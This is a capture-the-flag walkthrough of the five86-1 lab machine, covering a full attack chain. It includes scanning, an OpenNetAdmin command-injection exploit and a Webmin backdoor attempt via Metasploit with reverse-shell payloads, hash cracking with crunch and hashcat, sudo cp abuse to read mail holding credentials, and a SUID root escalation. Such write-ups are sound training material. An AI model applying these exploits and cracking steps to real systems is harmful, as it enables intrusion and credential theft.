

five86-1

Initial discovery

```

192.168.2.90 08:00:27:68:50:90 1 60 PCS Systemtechnik GmbH
root@kali:~# nmap -sV -p- five86
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-19 19:05 +08
Nmap scan report for five86 (192.168.2.90)
Host is up (0.00060s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
10000/tcp open  http     MiniServ 1.920 (Webmin httpd)
MAC Address: 08:00:27:68:50:90 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:~# nmap -sC -p- five86
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-19 19:05 +08
Nmap scan report for five86 (192.168.2.90)
Host is up (0.00060s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-hostkey:
| 2048 69:e6:3c:bf:72:f7:a0:00:f9:d9:f4:1d:68:e2:3c:bd (RSA)
| 256 45:9e:c7:1e:9f:5b:d3:ce:fc:17:56:f2:f6:42:ab:dc (ECDSA)
|_ 256 ae:0a:9e:92:64:5f:86:20:c4:11:44:e0:58:32:e5:05 (ED25519)
80/tcp    open  http
| http-robots.txt: 1 disallowed entry
|_ /ona
|_ http-title: Site doesn't have a title (text/html).
10000/tcp open  snet-sensor-mgmt
MAC Address: 08:00:27:68:50:90 (Oracle VirtualBox virtual NIC)

```

Web enumeration

```

root@kali:~# dirb http://five86

-----
DIRB v2.22
By The Dark Raver
-----

START_TIME: Sun Jan 19 19:06:35 2020
URL_BASE: http://five86/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----

GENERATED WORDS: 4612

---- Scanning URL: http://five86/ ----
+ http://five86/index.html (CODE:200|SIZE:30)
+ http://five86/reports (CODE:401|SIZE:453)
+ http://five86/robots.txt (CODE:200|SIZE:29)
+ http://five86/server-status (CODE:403|SIZE:271)

-----

END TIME: Sun Jan 19 19:06:38 2020
DOWNLOADED: 4612 - FOUND: 4
root@kali:~# curl http://five86/robots.txt
User-agent: *
Disallow: /ona

```

We had a vulnerable Open net admin version here

```

root@kali:~# searchsploit opennet

-----
Exploit Title
-----

OpenNetAdmin 13.03.01 - Remote Code Execution
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)
OpenNetAdmin 18.1.1 - Remote Code Execution

```

five86/ona/

Menu Search Quick Search...

Trace:

Newer Version Available

❗ You are NOT on the latest release version
Your version = v18.1.1
Latest version =

Please [DOWNLOAD](#) the latest version.


Record Counts

Subnets	0
Hosts	0
Interfaces	0
DNS Records	0
DNS Domains	1
DHCP Pools	0
Blocks	0
VLAN Campuses	0
Config Archives	0

Where to begin

If you are wondering where to start, try one of these tasks:

- [Add a DNS domain](#)
- [Add a new subnet](#)
- [Add a new host](#)
- [Perform a search](#)
- [List Hosts](#)

- If you need further assistance, look for the  icon in the title bar of windows.
- You can also try the main help index located [here](#)

Exploiting via metasploit

```
msf5 exploit/php/webapps/47772 > options

Module options (exploit/php/webapps/47772):

  Name      Current Setting  Required  Description
  ----  -
  Proxies    no               no        A proxy chain
  RHOSTS     192.168.2.90    yes       The target ad
  RPORT      80               yes       The target po
  SRVHOST    0.0.0.0          yes       The local hos
  SRVPORT    8585             yes       The local port
  SSL        false            no        Negotiate SSL
  SSLCert    no               no        Path to a cus
  TARGETURI  /ona/login.php   yes       Base path
  URIPATH    no               no        The URI to us
  VHOST      no               no        HTTP server v

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----  -
  LHOST     192.168.2.100   yes       The listen address
  LPORT     4444             yes       The listen port
```

Ona is ran as www-data

```
meterpreter > getuid
Server username: uid=33, gid=33, euid=33, egid=33
meterpreter > sysinfo
Computer      : 192.168.2.90
OS            : Debian 10.1 (Linux 4.19.0-6-amd64)
Architecture : x64
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter >
```

Post exploitation enum

moss/roy/jen/richmond/douglas are normal users who are able to login

```
www-data@five86-1:/opt/ona/www$ cat /etc/passwd | grep /bin/bash | grep -v root
moss:x:1001:1001:Maurice Moss:/home/moss:/bin/bash
roy:x:1002:1002:Roy Trenneman:/home/roy:/bin/bash
jen:x:1003:1003:Jen Barber:/home/jen:/bin/bash
richmond:x:1004:1004:Richmond Avenal:/home/richmond:/bin/bash
douglas:x:1005:1005:Douglas Reynholm:/home/douglas:/bin/bash
www-data@five86-1:/opt/ona/www$
```

Ports that are listening, 22:ssh, 25:smtp, 3306:mysql, 10000:webmin

```
www-data@five86-1:/tmp$ ss -ntl
State      Recv-Q      Send-Q      Local Address:Port
LISTEN     0            128         0.0.0.0:22
LISTEN     0            20          127.0.0.1:25
LISTEN     0            80          127.0.0.1:3306
LISTEN     0            128         0.0.0.0:10000
LISTEN     0            128         [::]:22
LISTEN     0            20          [::1]:25
LISTEN     0            128         *:80
www-data@five86-1:/tmp$
```

ona mysql, database_name: ona_onadb, user: one_onadb

```
www-data@five86-1:/tmp$ cat /var/log/ona.log
Dec 31 9:27:32 five86-1 anonymous@: [] INFO => Dropped existing DB: ona_onadb
Dec 31 9:27:32 five86-1 anonymous@: [] INFO => Added new DB: ona_onadb
Dec 31 9:27:33 five86-1 anonymous@: [] INFO => Creating and updating tables within new DB: ona_onadb
Dec 31 9:27:33 five86-1 anonymous@: [] INFO => Loaded data to new DB: ona_onadb
Dec 31 9:27:33 five86-1 anonymous@: [] INFO => Created new DB user: ona_sys
Dec 31 9:30:46 five86-1 guest@192.168.0.108: [DEFAULT] ERROR => Login failure for guest using authtype local: Password incorrect
Jan 1 4:22:51 five86-1 guest@192.168.0.140: [DEFAULT] ERROR => Login failure for guest using authtype local: Password incorrect
Jan 19 6:10:21 five86-1 guest@192.168.2.100: [DEFAULT] ERROR => Login failure for guest using authtype local: Password incorrect
www-data@five86-1:/tmp$
```

Creds for accessing database

```
<?php

$ona_contexts=array (
  'DEFAULT' =>
    array (
      'databases' =>
        array (
          0 =>
            array (
              'db_type' => 'mysqli',
              'db_host' => 'localhost',
              'db_login' => 'ona_sys',
              'db_passwd' => 'ona_password',
              'db_database' => 'ona_onadb',
              'db_debug' => false,
            ),
          ),
      'description' => 'Default data context',
      'context_color' => '#D3DBFF',
    ),
);

?>
```

Accessing database successful

```
www-data@five86-1:/tmp$ mysql -u ona_sys -h localhost -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 50695
Server version: 10.3.17-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

Eventhough we crack the password, we are on the wrong track

```
MariaDB [ona_onadb]> select * from users;
+-----+-----+-----+-----+-----+
| id | username | password | level | ctime | atime |
+-----+-----+-----+-----+-----+
| 1 | guest | 098f6bcd4621d373cade4e832627b4f6 | 0 | 2020-01-19 06:10:21 | 2020-01-19 06:10:21 |
| 2 | admin | 21232f297a57a5a743894a0e4a801fc3 | 0 | 2007-10-30 03:00:17 | 2007-12-02 22:10:26 |
+-----+-----+-----+-----+-----+
2 rows in set (0.001 sec)

MariaDB [ona_onadb]>
```

```
Cracker Results:
098f6bcd4621d373cade4e832627b4f6 MD5 test
21232f297a57a5a743894a0e4a801fc3 MD5 admin or osCommerce ad:min
```

Enumerating webmin

webmin running as root, ran exploit but failed

```
mysql 501 0.0 9.1 1257336 92316 ? Ssl 05:59 0:05 /usr/sbin/mysqld
Debian+ 883 0.0 0.3 20056 3812 ? Ss 05:59 0:00 /usr/sbin/exim4 -bd -q30m
root 925 0.0 2.9 37228 29460 ? Ss 05:59 0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf

www-data@five86-1:/usr/share/webmin$ cat version
1.920
www-data@five86-1:/usr/share/webmin$
```

Description:

This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled.

Module options (exploit/linux/remote/47230):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format
RHOSTS	192.168.2.90	yes	The target address range
RPORT	10000	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for
TARGETURI	/	yes	Base path for Webmin.
VHOST		no	HTTP server virtual host

Payload options (cmd/unix/reverse_python):

Name	Current Setting	Required	Description
LHOST	192.168.2.100	yes	The listen address (an IP)
LPORT	12345	yes	The listen port
SHELL	/bin/bash	yes	The system shell to use.

Finding .htpasswd file

```
<Directory /var/www/>
  Options Indexes FollowSymLinks
  AllowOverride all
  Require all granted
</Directory>

Alias /ona "/opt/ona/www/"
<Directory "/opt/ona/www/">
  Options Indexes MultiViews FollowSymLinks
  AllowOverride All
  Require all granted
</Directory>

<Directory /var/www/html/reports>
  Options Indexes FollowSymLinks MultiViews
  AllowOverride All
</Directory>
```

```
find / -type f -name .htpasswd 2> /dev/null
/var/www/.htpasswd
cat /var/www/.htpasswd
douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1
```

```
# To make things slightly less painful (a standard dictionary will likely fail),
# use the following character set for this 10 character password: aefhrt
```

hashtype

```
1600 = md5apr1, MD5(APR), Apache MD5
```

For crunch, credits to <https://www.hacknos.com/five86-1/walkthrough-vulnhub-ctf/>

Generating dictionary

```
root@kali:/tmp/exploit# crunch 10 10 aefhrt > dict.txt
Crunch will now generate the following amount of data: 665127936 bytes
634 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 60466176
root@kali:/tmp/exploit#
```

Running hashcat

```
root@kali:/tmp/exploit# hashcat -m 1600 -a 0 hashes.txt dict.txt
```

```
$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1:fatherrrrr
```

```
$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1:fatherrrrr
```

```
Session.....: hashcat
Status.....: Cracked
Hash.Type.....: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target.....: $apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1
Time.Started.....: Sun Jan 19 21:45:18 2020 (20 mins, 29 secs)
Time.Estimated....: Sun Jan 19 22:05:47 2020 (0 secs)
Guess.Base.....: File (dict.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 17748 H/s (6.92ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.....: 21709824/60466176 (35.90%)
Rejected.....: 0/21709824 (0.00%)
Restore.Point....: 21708800/60466176 (35.90%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidates.#1....: fatherhref -> fathetffht
```

```
Started: Sun Jan 19 21:45:11 2020
```

```
Stopped: Sun Jan 19 22:05:47 2020
```

ssh login successful

```
douglas@five86-1's password:
Linux five86-1 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
douglas@five86-1:~$ sudo -l
Matching Defaults entries for douglas on five86-1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User douglas may run the following commands on five86-1:
    (jen) NOPASSWD: /bin/cp
douglas@five86-1:~$
```

Verify file that has been copied over, id_rsa.pub trick fails

```
douglas@five86-1:/tmp$ sudo -u jen /bin/cp -Rv /home/jen/ /tmp
removed '/tmp/jen/.bash_history'
'/home/jen/.bash_history' -> '/tmp/jen/.bash_history'
'/home/jen/.ssh/id_rsa.pub' -> '/tmp/jen/.ssh/id_rsa.pub'
'/home/jen/reports/IT_Budget.txt' -> '/tmp/jen/reports/IT_Budget.txt'
'/home/jen/reports/Audit.txt' -> '/tmp/jen/reports/Audit.txt'
douglas@five86-1:/tmp$
```

```
douglas@five86-1:/tmp$ sudo -u jen /bin/cp /home/jen/reports/Audit.txt /tmp
douglas@five86-1:/tmp$ sudo -u jen /bin/cp /home/jen/reports/IT_Budget.txt /tmp
douglas@five86-1:/tmp$ ls -l
total 68K
drwxrwxrwt 12 root root 4.0K Jan 27 03:06 ./
drwxr-xr-x 18 root root 4.0K Dec 31 09:47 ../
-rwxr-xr-x 1 jen jen 9.1K Jan 27 03:06 Audit.txt*
-rw-r--r-- 1 jen jen 0 Jan 27 03:02 .bash_history
drwxrwxrwt 2 root root 4.0K Jan 19 09:15 .font-unix/
drwxrwxrwt 2 root root 4.0K Jan 19 09:15 .ICE-unix/
-rw-r--r-- 1 douglas douglas 391 Jan 27 03:00 id_rsa.pub
-rwxr-xr-x 1 jen jen 6 Jan 27 03:06 IT_Budget.txt*
```

Audit.txt, hydra login using this as dictionary failed, takes too long

```

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis pharetra diam sem, pe
lentesque luctus odio finibus at. Nunc id malesuada turpis. Donec libero arcu, luctus nec tempus eu, cursus quis urna. Vivamus dignissim mi augue, non vestibulum metus lobortis in. Pellentesque id luctus nulla, eu molestie turpis. Aenean ultrices vel elit odio, non euismod arcu tempor sed. In risus turpis, vulputate at dolor et, congue laoreet libero. Proin in turpis et tortor placerat finibus. Donec vitae ante eu metus tristique ornare id a metus. Nam sit amet nisi in ex euismod maximus. Aenean sollicitudin placerat nibh, ac elementum mauris tincidunt et. Proin id odio eget elit efficitur aliquet. Vivamus vehicula nunc vel quam mattis, non efficitur ex tincidunt.
```

```
root@kali:/tmp# cat Audit.txt | sed 's/ /\n/g' | tee jen.txt
```

IT_Budget.txt

```
douglas@five86-1:/tmp$ cat IT_Budget.txt
$0.00
douglas@five86-1:/tmp$
```

Finding other files by jen, ignore files in tmp except one in /var/mail

```
douglas@five86-1:/tmp$ find / -type f -user jen 2> /dev/null
/var/mail/jen
/tmp/testing1
/tmp/Audit.txt
/tmp/.bash_history
/tmp/testing
/tmp/IT_Budget.txt
douglas@five86-1:/tmp$
```

Copy file from /var/mail which belongs to jen but don't preserve permissions

```
douglas@five86-1:/var/mail$ sudo -u jen cp --no-preserve=mode /var/mail/jen /tmp/testing1
douglas@five86-1:/var/mail$
```

```
-rw-r--r-- 1 jen jen 885 Jan 27 03:27 testing1
```

Message containing creds

username: moss

password: Fire!Fire!

```

Message-Id: <ElimZBc-0001FU-El@five86-1>
From: Roy Trenneman <roy@five86-1>
Date: Wed, 01 Jan 2020 03:17:00 -0500

```

Hi Jen,

As you know, I'll be on the "customer service" course on Monday due to that incident on Level 4 with the accounts people.

But anyway, I had to change Moss's password earlier today, so when Moss is back on Monday morning, can you let him know that his password is now Fire!Fire!

Moss will understand (ha ha ha ha).

Tanks,
Roy

Confirming the existence of user named moss

```

douglass@five86-1:/tmp$ cat /etc/passwd|grep moss
moss:x:1001:1001:Maurice Moss:/home/moss:/bin/bash

```

Login successful as moss

```

root@kali:~/.ssh# ssh moss@five86
load pubkey "/root/.ssh/id_rsa": invalid format
moss@five86's password:
Linux five86-1 4.19.0-6-amd64 #1 SMP Debian 4.19.6

```

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

```
moss@five86-1:~$
```

moss can run sudo stuff

```
moss@five86-1:~$ sudo -l
```

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

- #1) Respect the privacy of others.
- #2) Think before you type.
- #3) With great power comes great responsibility.

```
[sudo] password for moss:
```

Sorry, user moss may not run sudo on five86-1.

```
moss@five86-1:~$
```

Suid-ed binary named upyourgame

```

moss@five86-1:~/.games$ ls -l
total 28K
drwx----- 2 moss moss 4.0K Jan  1 03:53 ./
drwx----- 3 moss moss 4.0K Jan 27 03:33 ../
lrwxrwxrwx 1 moss moss  21 Jan  1 03:21 battlestar -> /usr/games/battlestar*
lrwxrwxrwx 1 moss moss  14 Jan  1 03:23 bcd -> /usr/games/bcd*
lrwxrwxrwx 1 moss moss  21 Jan  1 03:21 bombardier -> /usr/games/bombardier*
lrwxrwxrwx 1 moss moss  17 Jan  1 03:22 empire -> /usr/games/empire*
lrwxrwxrwx 1 moss moss  20 Jan  1 03:23 freesweep -> /usr/games/freesweep*
lrwxrwxrwx 1 moss moss  15 Jan  1 03:23 hunt -> /usr/games/hunt*
lrwxrwxrwx 1 moss moss  20 Jan  1 03:22 ninvaders -> /usr/games/ninvaders*
lrwxrwxrwx 1 moss moss  17 Jan  1 03:19 nsnake -> /usr/games/nsnake*
lrwxrwxrwx 1 moss moss  25 Jan  1 03:21 pacman4console -> /usr/games/pacman4console*
lrwxrwxrwx 1 moss moss  17 Jan  1 03:22 petris -> /usr/games/petris*
lrwxrwxrwx 1 moss moss  16 Jan  1 03:22 snake -> /usr/games/snake*
lrwxrwxrwx 1 moss moss  17 Jan  1 03:20 sudoku -> /usr/games/sudoku*
-rwsr-xr-x 1 root root 17K Jan  1 03:52 upyourgame*
lrwxrwxrwx 1 moss moss  16 Jan  1 03:22 worms -> /usr/games/worms*
moss@five86-1:~/.games$

```

Can literally enter anything and get root

```

moss@five86-1:~/.games$ ./upyourgame
Would you like to play a game? yes

```

```
Could you please repeat that? yes
```

```
Nope, you'll need to enter that again. yes
```

```
You entered: No. Is this correct? no
```

```
We appear to have a problem? Do we have a problem? no
```

```
Made in Britain.
```

```

# id
uid=0(root) gid=1001(moss) groups=1001(moss)
#

```

Flag

```
# id
uid=0(root) gid=1001(moss) groups=1001(moss)
# cd /root
# ls -lah
total 24K
drwx----- 3 root root 4.0K Jan  1 23:48 .
drwxr-xr-x 18 root root 4.0K Dec 31 09:47 ..
lrwxrwxrwx 1 root root   9 Dec 31 10:34 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rwx----- 1 root root 33 Jan  1 04:50 flag.txt
drwxr-xr-x 3 root root 4.0K Jan  1 02:59 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
# cat flag.txt
8f3b38dd95eccf600593da4522251746
# █
```